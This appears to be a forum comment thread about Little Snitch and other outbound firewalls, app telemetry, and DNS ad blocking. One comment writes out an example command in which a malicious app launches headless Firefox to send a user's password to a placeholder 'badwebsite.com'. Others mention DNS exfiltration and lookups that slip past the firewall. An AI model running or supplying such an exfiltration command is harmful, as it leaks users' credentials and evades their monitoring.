Using Little Snitch, and seeing the amount of phoning-home Chrome was doing was my "straw that broke the camels back". It tipped me over the edge: drove me back to Linux, Duck Duck Go, NextDNS (I'm not confident enough to "roll my own), turning everything off on my phone (location services, search helpers etc), and not using software that checks for updates or does the least amount of telemetry (I went from VSCode to Emacs)... favoring anything that doesn't track/use cdns/anything by default: whatever is vaguely usable (no matter how annoying) and tracks the least, wins.

I could block it all with Little Snitch - but it's a technical solution to a political problem. I miss a lot of the convenience, and I miss a lot of the slickness/lovely UIs... but Lil' Snitch taught me that that's the price!

> I'm not confident enough to "roll my own"

For local net, setting up pi-hole is do-able, whilst setting it up over a VPN involves a bit of additional tooling.

A 100% uptime DNS on public internet is tricky, but if you're okay with just DoH [0], the https://workers.dev free-tier would you give you a 100% uptime "anycast", low-latency DoH enough for a single device's worth of queries for a month. At $5, you'd have enough for a 100 devices.

I've one setup with adblock forwarding queries to 1.1.1.1 and I see e2e latencies as low as 50ms regardless of location. This setup is a bit involved: You'd need to convert blocklists (the one I use has a million entries) to either a long-string, custom LZ-compress it (~6 MiB) [1] and do a boyer-moore needle-haystack search on it for incoming questions (v8's native String#index impl uses a variant of boyer-moore) [2], or use a json-map at a cost of higher RAM usage but blazing-fast lookups (~25 MiB), or use succinct radix-trees for optimal RAM usage (~1.5 MiB) but relatively slower lookups, or use bloom-filters with low false-positive but fast membership queries at extremely frugal RAM usage (~200 KiB) [3].

That said, the simplest way to ad-block would be to point the workers instance to adguard-doh.

[0] https://news.ycombinator.com/item?id=21598413

[1] https://github.com/pieroxy/lz-string/

[2] https://stackoverflow.com/questions/5562297/fast-search-in-c...

[3] https://news.ycombinator.com/item?id=22017868

I found the same thing with little snitch and Firefox. Now I block all the mozilla domains using little snitch and update firefox using Safari.

Related, people also complain about Microsoft phoning home, but Apple does the same thing. (Not that apple is as blatant a jerk as microsoft)

Add Google to the list. It is unfortunate that not even one of these companies can differentiate from the others on this practice. They each assume that the user gives them a free pass to make automatic outbound connections, where no consent from the user is required, for whatever purpose they deem "necessary".

Maintaining Lil'Snitch's access list whenever apps get updated reminded me that it goes against the reason why I started using MacOS in the first place. It was especially hard to justify when someone else is casually browsing on one my machines and a new connection request pops up.

I'd not heard of NextDNS until I read your comment, but it looks really promising! I already have a PiHole set up but I'm always looking to simplify and eliminate "maintenance" from my life (although the Pihole is extremely low maintenance).

This is a great thing to recommend to friends and family who may not have the technical ability or desire to set up a Pihole.

"It's a technical solution to a political problem" !

> NextDNS (I'm not confident enough to "roll my own)

- Install knot-resolver

- Done.

https://pi-hole.net/ ?

Nextdns does not just block ads.

A quick look on the site seems to simply be different maintained block lists.

You can block anything on pi-hole, not just ads.

Am I missing something?

Huge fan of Little Snitch, and I agree: it's been really useful for discovering and shutting down all the telemetry and ad traffic. One thing people don't realize is that you can take many of the popular ad-blocking lists and subscribe to them in Little Snitch! Peter Lowe's Block List, for instance, produces a plain-text format (https://pgl.yoyo.org/adservers/serverlist.php?hostformat=lit...) that's perfect: you subscribe to it in Little Snitch, and it automatically blocks everything on the list everywhere, with updates pulled on the regular from the pgl.yoyo.org servers.

One frustration I've had lately—and it's not Little Snitch's fault!—is the number of unnamed micro-service endpoints in use. Office365, Dropbox, and others have started using random cloud IPs for their content distribution endpoints, so you get a popup for "OneDrive wants to connect to XXX.YYY.ZZZ.QQQ on port 25427. Allow?" You have no basis for knowing if that IP is legit or not, you can't use the port to judge it, and you know if you cut off too many of them the app will break. Super frustrating, and seems deliberately designed to break things like LS.

Glad you're finding my list useful. There are very few downloads in Little Snitch format per day (419 today so far out of 2.7m accesses).

Also I personally also am a huge fan of Little Snitch, I do want to caution everyone who rushes to install that, after all, like all software Little Snitch has bugs, and because it runs in ring 0, any bugs can potentially have annoying consequences, including being exploited by malware.

See for example this news report[0] or the DEF CON talk[1].

I personally do use Little Snitch, but this is after consideration of my own privacy desire against risk of security holes being exploited. I personally chose the former. You should personally weigh these and decide.

[0]: https://www.theregister.co.uk/AMP/2016/08/03/mac_firewall_li...

[1]: https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20pre...

Opensnitch does not run in ring 0, though it does run as root.

From malware/exploitation perspective, aren’t two the same things?

Not really. For instance, there’s a lot of stuff you can’t do as root on a Mac because of SIP. If you’re in the kernel, all bets are off.

I would think Little Snitch reduces your attack surface enough that it's a strict improvement in security, not just privacy. After all, macOS has bugs too.

Yeah, Little Snitch is quite popular on Mac.

But a much, much cheaper and much easier and simpler to use software is TripMode - https://www.tripmode.ch/ ...

While it is not marketed as an outbound firewall, it does a great job as one. It isn't as sophisticated as Little Snitch and doesn't offer fine-grained levels of filtering but that's a plus for those who are not advanced users - it simply allows or blocks an "app" from connecting to the internet. It can also monitor your bandwidth usage.

(The Mac version is very stable, but I found the Windows 10 version to be a bit buggy).

On the cheaper side on the spectrum but not quite as cheap as TripMode, there is Vallum: https://vallumfirewall.com

I've been using it for years and the only feature I miss is domain/subdomain blacklisting.

If there is no need for such a granular control of outgoing connections for any given application, there's also the no-cost and open-sourced LuLu: https://github.com/objective-see/LuLu

So I love TripMode but it's a very different beast.

LittleSnitch = I want to monitor every connection every application makes.

TripMode = I want to disable Dropbox, Apple Software Update & Steam while on MyPhoneHotspot.

That being said, I wish there was an OpenTripMode, or... something on Linux.

Yeah, Little Snitch offers fine grained filtering control as it works at the "connection" level monitoring each and every connection, where as TripMode works at the "app" level only and either allows or blocks them from accessing the internet without any regards to the number of "connections" made or to whom the "connection" is made to.

And it works on broadband / fibre connections too, and not just for mobile data.

(Tip: Private Eye is a free software that allows you to monitor all connections made by any system or application softwares on your Mac. It's now bundled as part of another paid outbound firewall, similar to TripMode, called RadioSilence - https://radiosilenceapp.com/ but the free "monitoring only" version of Private Eye can still be found on the net).

I tried to install TrioMode for the bandwidth-monitoring features until I realized it actually needs to run in the kernel, which is too much of security trade off for me to accept.

I guess for bandwidth-monitoring alone that may seem like an overkill. But it's a firewall too. The TripMode FAQ does point out:

> TripMode uses a macOS feature called “Network Kernel Extension” to be able to block apps from accessing the Internet. This is the Apple-endorsed way of managing network traffic on a Mac ... We notarize each TripMode for Mac release with Apple, which means that Apple guarantees that they are free from malware ...

I also found this discussion that explains a bit about why Mac firewalls still prefer to use a Kernel Extension on macOS - https://forums.developer.apple.com/thread/79590 (The developers of all the three popular firewall mentioned here - Little Snitch, TripMode, RadioSilence - have added their thoughts in that thread).

Thanks for the link to TripMode. Didn't realize how much I need it. Always try to turn off apps when I'm tethered but somehow still eat up all my data.

Consider https://radiosilenceapp.com/ too - kind of similar to TripMode but has different feature set.

Once you whitelist firefox, couldn't a malicious app bypass this by simply executing "firefox -headless http://badwebsite.com/?exfilleddata=usersPass"?

Easier, just exfiltrate through DNS which is always whitelisted.

You don't whitelist firefox. You whitelist firefox talking to www.foo.com port 80.

You would need to do that for every domain firefox talks too, which will quickly get annoying, as stated in the original comment:

Safari and Chrome want to talk to all kinds of things on TCP/80 and 443, so you pretty quickly say they're allowed to make any 80 or 443 connection they want without further pestering you

You can set it up to allow/block a site or domain forever.

For example, block graph.facebook.com forever.

You can also look in the little snitch network monitor and block sites after the fact for the future.

It's a lot less tedious if you know the keyboard commands:

alt-return denies the connection, and cmd-return allows it.

How are you going to handle CDNs? Are you going to whitelist all the [random letters].cloudfront.net? What about public websites? You can conceivably establish a communications channel over any popular social media site.

uMatrix helps with all of this to block domains by name in the browser.

I suspect Little Snitch has a sort of hole in it's design.

I think the DNS lookups go through before you get the allow/deny dialog box. So your browser might do a dns lookup for user-gruez-jan-2020-in-timbuktu.<random>.trackingjerks.net which would get around little snitch.

I will be curious what kinds of bugs blocking said requests flushes out of various applications. I expect some applications will be built robustly and gracefully accept that adserver.trackallusers.com has suddenly ceased to exist forever, and continue to do what the user expects them to do. But, I will not be surprised if other applications turn out to crash, turn into security vulnerabilities, or throw up annoying popups that say something like, "We use advertisements to pay for this awesome free service we give you. :( Please unblock evil-cabal.org. An assassin has been dispatched to ensure your compliance." Okay, maybe I'm not expecting that last one quite so much, but crashes and breakages are totally plausible, IMO.

There are numerous Mac, Windows and Linux apps that do not behave well when they detect the network is up, but they can not reach a resource. Most of the time I run into these on Windows. Some apps can lock up the desktop until the flow is permitted, but permitting the flow requires the desktop.

I've had back payment pages fail because of ad blocking with pi hole!

Something from dev.visualweboptimizer.com! Had to make an exception

It used to be much more useful when apps themselves make connections to their own servers.

Nowadays everyone seems to ask nsurlsessiond to make a connection to AWS on port 443.

Any equivalent behavior on Linux could fairly easily be intercepted anyway by adding hooks to the equivalent service process though, right?

> Sorry if this reads like an ad pitch for Little Snitch. I'm not associated with them, but I'm a very, very happy customer

no need, little snitch is one of the most popular programs for power mac users; I've been a fan since at at least 2011

Why do people use non-standard ports for public internet-facing services?

To me it just smells of "we don't have enough public IP's, and still manage our network with port-forwarding rather than a proper application level loadbalancer".

That matches my observations that 'ancilery'services frequently seem to be on non-standard ports - like the employee login portal, the company webchat service, the analytics service, etc.

> we don't have enough public IP's

I mean, we kinda knew that already. Port numbers give you a free 16-bit address space per public IP, that's nothing to sneeze at.

Security through obscurity is one reason. A lot of script kiddies will blast away at services on well known ports. Simply changing the port off the default cuts down on a lot of script based attacks, inhibits generic port scans, and makes it easier to differentiate a deliberate, human attacker from a script.

In this specific case, I don't know. Perhaps rotating through ephemeral ports is done to mess with simple traffic filtering rules on firewalls?

To me it smells of "we are running some random app server as a non-profit user and need to bind to a high numbered port"

I didn't know non-profits weren't allowed high number ports! Jk but funny typo.

I think he actually meant non-prophet, as only the privileged priest caste are allowed to use those lower ports.

Old school network engineers are more comfortable with firewall rules and routing tables than nginx configs?

I will second the notion that setting up your preferences after installing little snitch is a bit overwhelming, especially if it's on a machine where you have installed a lot of software.

It's alarming just how much software starts running in the background after a startup, and starts making connections you didn't know about before you ever open a single user application.

I believe there is one hole in little snitch.

Looking up 2020-01-31-user-kstrauser.example.com might cause a DNS lookup to go out, even though little snitch will block the subsequent web traffic to it.

I think umatrix helps with that.

Its threat model isn’t to protect you from anything a state-level actor might try to do, but to give you insight into changed app behaviors. Why is my weather app now talking to Bolivia? Why is a shell script trying to connect to an Active Directory server? I don’t think that’s so much a hole as something that’s just out of scope for Little Snitch.

The DNS lookup would be of the form "request PTR record for 128.2.1.2" - this would leak a little info from the nearest recursing resolver, but maybe not enough to be useful to an attacker. I suppose Snitch might conceivably use some other, non-DNS repository like ipinfo.io though.

I think I disagree.

It would be:

- browser looks up 2020-01-31-user-kstrauser.example.com

- dns lookup proceeds, returns 128.2.1.2

- browser connects to 128.2.1.2

- little snitch intercepts

- little snitch does reverse lookup

- dialog box

I don’t know how little snitch does it, but iirc our old fortinet at the office caches the DNS response for logging, so that no extra reverse dns requests are needed (and if there isn’t a cached one, you have to explicitly ask to look it up when looking at the logs)

From a quick look in opensnitch, it should be tracking DNS replies in UDP packets.

I don't see it filtering the responses, so spoofing hostnames or even overloading the translation table (memory exhaustion) might be possible, even for network attackers.

It is best effort anyway, just informative.

If the app resolves two hostnames (e.g. useful-serivce.cloudprovider.com and malware.cloudprovider.com), that are both at the same ip, and then connects to that ip, which of the hostnames it connects to?

Without sniffing Host header (for http) or SNI (for TLS pre-ESNI), it is just a guess.

Does Little Snitch work as a kernel extension? I use Lulu but it really screws with Virtualbox and generally can really stress kernel if you try to do something very network intensive. Would love to find better alternative, ideally free.

Wow, this should go on the readme. I'm sure this helps a lot of people understand what the app does in simple terms.